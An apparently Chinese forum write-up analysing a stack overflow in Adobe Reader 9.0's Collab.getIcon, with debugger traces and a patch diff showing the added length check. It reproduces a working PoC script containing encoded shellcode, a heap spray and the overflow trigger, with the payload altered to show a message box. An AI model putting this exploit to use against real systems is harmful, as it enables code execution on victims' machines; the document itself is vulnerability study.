调试环境:WinXP sp3
调试对象:Adobe Reader 9.0 English
调试工具:OD + Windbg + IDA5.0 + Diffing Suite
其实,milw0rm上2009年9月3号公布的样本中包含了漏洞的分析,这里只是整理一下,希望能给像我一样的菜鸟些帮助。高手飘过~~~
一、漏洞描述
描述来自绿盟:
http://www.nsfocus.net/vulndb/13122
通过描述可以知道该漏洞是栈溢出。
二、样本说明
样本来自milw0rm
http://www.milw0rm.com/exploits/9579
我把其中的shellcode换成failwest大侠弹出对话框的那个;并对shellcode稍作修改,把其中的“failwest”换成了“pandascu”。样本见附件
分析之前对样本的脚本做简单解释:
代码:
Var shellcode = unescape("%u68fc%u0a6a%u1e38%u6368%ud189%u684f%u7432%u0c91%uf48b%u7e8d%u33f4%ub7db%u2b04%u66e3%u33bb%u5332%u7568%u6573%u5472%ud233%u8b64%u305a%u4b8b%u8b0c%u1c49%u098b%u698b%uad08%u6a3d%u380a%u751e%u9505%u57ff%u95f8%u8b60%u3c45%u4c8b%u7805%ucd03%u598b%u0320%u33dd%u47ff%u348b%u03bb%u99f5%ube0f%u3a06%u74c4%uc108%u07ca%ud003%ueb46%u3bf1%u2454%u751c%u8be4%u2459%udd03%u8b66%u7b3c%u598b%u031c%u03dd%ubb2c%u5f95%u57ab%u3d61%u0a6a%u1e38%ua975%udb33%u6853%u7361%u7563%u7068%u6e61%u8b64%u53c4%u5050%uff53%ufc57%uff53%uf857"); garbage = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090"); while (garbage.length < 0x100) garbage += garbage; garbage += shellcode; nopblock = unescape("%u9090%u9090"); headersize = 16; acl = headersize + garbage.length; while (nopblock.length < acl) nopblock += nopblock; fillblock = nopblock.substring(0, acl); block = nopblock.substring(0, nopblock.length - acl); while(block.length + acl < 0x26000) block = block + block + fillblock; memory = new Array(); for (i=0;i<1024;i++) memory[i] = block + garbage; //heap spray(堆喷射),需要说明的是要分配1024块512k(具体是0x81000,可以用od看到)大小的堆 var buffer = unescape("%0a%0b%0a%0b"); //0x0b0a0b0a是漏洞触发后要跳到的地方,这个值很灵活的 while(buffer.length < 0x6000) //这里规定了栈溢出需要的长度,后面分析发现是不需要这么大的 buffer += buffer; app.doc.Collab.getIcon(buffer+'pwn3D.BYkralor'); //引起漏洞的函数
栈溢出+SHE+堆喷射
1.触发与利用
运行Adobe32.exe,打开Windbg Attach上该进程,F5;然后,打开样本poc.pdf,Windbg 会停在:
代码:
eax=7efcfefc ebx=00008004 ecx=00001aca edx=0b0a0b0a esi=044661ac edi=00130000 eip=78180725 esp=0012e8c4 ebp=0012e96c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\WinSxS\x86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.762_x-ww_6b128700\MSVCR80.dll - MSVCR80!strncpy+0xa5: 78180725 8917 mov dword ptr [edi],edx ds:0023:00130000=78746341
指针;我们用0x0b0a0b0a覆盖原异常处理函数指针,用Heap Spray技术把0x0b0a0b0a指向的堆区填充上“\x90\x90\x90\x90”*n + shellcode,就可以执行到我们的shellcode了。
78180725是strncpy函数领空,向上找到函数开始的位置;下上断点,可以很容易的从esp值找到函数的调用者0x2210FE25,该函数是Annots.api领空,验证了milw0rm 9月3号样本中的分析描述。这里可以根据那个分析,直接在0x2210FE25下断点。
找到0x2210FE25这个位置,是为了查看在溢出即将发生的时刻的异常链表指向的位置和0x0b0a0b0a是否指向了我们的“\x90\x90\x90\x90”*n + shellcode了。
以下换成od调试,和windbg步骤差不多;在打开poc.pdf的前一刻,ctrl+g找到0x2210FE25的位置下上F2断点。大约是第4次就会被溢出函数调用了。
在函数未被执行的时刻,看看“SHE+堆喷射”吧

溢出前的SHE链指向:0x12ed28
异常处理回调函数地址为:[0x12ed28+4] = [0x12ed2c] = 0x238f3de0
ALT+M,可以看到:

双击其中任意一个“0x81000”,可以看到包含设shellcode的堆内存:

F7,走进strncpy函数;从堆栈中可以看到函数的参数值:

代码:
0012E8D4 0012EB24 0012E8D8 04699DA4 0012E8DC 00008004
char *strncpy( char *strDest, const char *strSource, size_t count );
代码:
2210FE16 56 PUSH ESI ; count=0x8004 2210FE17 57 PUSH EDI ; strSource=04699da4 2210FE18 8B3D 00543422 MOV EDI,DWORD PTR DS:[<&MSVCR80.strncpy>>; MSVCR80.strncpy 2210FE1E 8D85 B8010000 LEA EAX,DWORD PTR SS:[EBP+1B8] 2210FE24 50 PUSH EAX ; strDest = 0012eb24 2210FE25 FFD7 CALL EDI ; MSVCR80.strncpy
异常时的情况:
代码:
78180725 8917 MOV DWORD PTR DS:[EDI],EDX 78180727 83C7 04 ADD EDI,4 7818072A 83E9 01 SUB ECX,1 7818072D ^ 74 9F JE SHORT MSVCR80.781806CE 寄存器值: EAX 7EFCFEFC ECX 00001ACA EDX 0B0A0B0A EBX 00008004 ESP 0012E8C4 EBP 0012E96C ESI 044C817C EDI 00130000 ASCII "Actx " EIP 78180725 MSVCR80.78180725
代码:
7C923297 FF75 14 PUSH DWORD PTR SS:[EBP+14] 7C92329A FF75 10 PUSH DWORD PTR SS:[EBP+10] 7C92329D FF75 0C PUSH DWORD PTR SS:[EBP+C] 7C9232A0 FF75 08 PUSH DWORD PTR SS:[EBP+8] 7C9232A3 8B4D 18 MOV ECX,DWORD PTR SS:[EBP+18] 7C9232A6 FFD1 CALL ECX 7C9232A8 64:8B25 0000000>MOV ESP,DWORD PTR FS:[0] 寄存器值: EAX 00000000 ECX 0B0A0B0A EDX 7C9232BC ntdll.7C9232BC EBX 00000000 ESP 0012E4F8 EBP 0012E514 ESI 00000000 EDI 00000000 EIP 7C9232A6 ntdll.7C9232A6

数据窗口,Ctrl+B;查找“FC 68”

F4到0x0B0FFF58
代码:
0B0FFF58 FC CLD ... 0B0FFFF3 8BC4 MOV EAX,ESP 0B0FFFF5 53 PUSH EBX 0B0FFFF6 50 PUSH EAX 0B0FFFF7 50 PUSH EAX 0B0FFFF8 53 PUSH EBX 0B0FFFF9 FF57 FC CALL DWORD PTR DS:[EDI-4]; USER32.MessageBoxA 0B0FFFFC 53 PUSH EBX 0B0FFFFD FF57 F8 CALL DWORD PTR DS:[EDI-8]
久违的MessageBox终于出来了

2.分析(补丁比较)
0x2210fe25所在函数的函数首地址为0x2210FCE8,通过对补丁前后的两个Annots.api(Annots.dll)进行IDA静态分析及补丁比较,做进一步分析

补丁前,只是对strSource是否为空进行了判断,并没有对最大值进行限制;补丁后,把最大值限制为0x100。
补丁前的判断:
代码:
2210FD05 8BBD C4020000 MOV EDI,DWORD PTR SS:[EBP+2C4] ; strSource指针放edi 2210FD0B 33DB XOR EBX,EBX 2210FD0D 3BFB CMP EDI,EBX ; 判断
代码:
.text:22110439 mov edi, [ebp+2BCh+arg_0] .text:2211043F xor ebx, ebx .text:22110441 cmp edi, ebx .text:22110443 mov [ebp+2BCh+var_30C], edi .text:22110446 jz loc_22110681 .text:22110446 .text:2211044C push edi .text:2211044D call sub_2210FBCB .text:2211044D .text:22110452 cmp eax, 100h .text:22110457 pop ecx .text:22110458 jnb loc_22110681
代码:
.text:2210FBCB arg_0 = dword ptr 4 .text:2210FBCB .text:2210FBCB mov eax, [esp+arg_0] .text:2210FBCF test eax, eax .text:2210FBD1 jz short loc_2210FBE6 .text:2210FBD1 .text:2210FBD3 cmp byte ptr [eax], 0FEh .text:2210FBD6 jnz short loc_2210FBE6 .text:2210FBD6 .text:2210FBD8 cmp byte ptr [eax+1], 0FFh .text:2210FBDC jnz short loc_2210FBE6 .text:2210FBDC .text:2210FBDE push eax .text:2210FBDF call sub_2210FA7A .text:2210FBDF .text:2210FBE4 pop ecx .text:2210FBE5 retn
代码:
...... .text:2210FA8B test bl, bl .text:2210FA8D jz short loc_2210FA93 .text:2210FA8D .text:2210FA8F .text:2210FA8F loc_2210FA8F: ; CODE XREF: sub_2210FA7A+F j .text:2210FA8F inc eax .text:2210FA90 inc eax .text:2210FA91 jmp short loc_2210FA81 .text:2210FA91 .text:2210FA93 ; --------------------------------------------------------------------------- .text:2210FA93 .text:2210FA93 loc_2210FA93: ; CODE XREF: sub_2210FA7A+13 j .text:2210FA93 pop ebx .text:2210FA94 retn
看这里:
代码:
2210FDA7 56 PUSH ESI 2210FDA8 8D85 B9010000 LEA EAX,DWORD PTR SS:[EBP+1B9] 2210FDAE 53 PUSH EBX 2210FDAF 50 PUSH EAX 2210FDB0 889D B8010000 MOV BYTE PTR SS:[EBP+1B8],BL 2210FDB6 E8 91380100 CALL <JMP.&MSVCR80.memset> 寄存器值: EAX 0012EB25 ECX 0012E914 EDX 0012E8C3 EBX 00000000 ESP 0012E8D4 EBP 0012E96C ESI 000000FF EDI 04499B5C EIP 2210FDB6 Annots.2210FDB6
大家轻拍
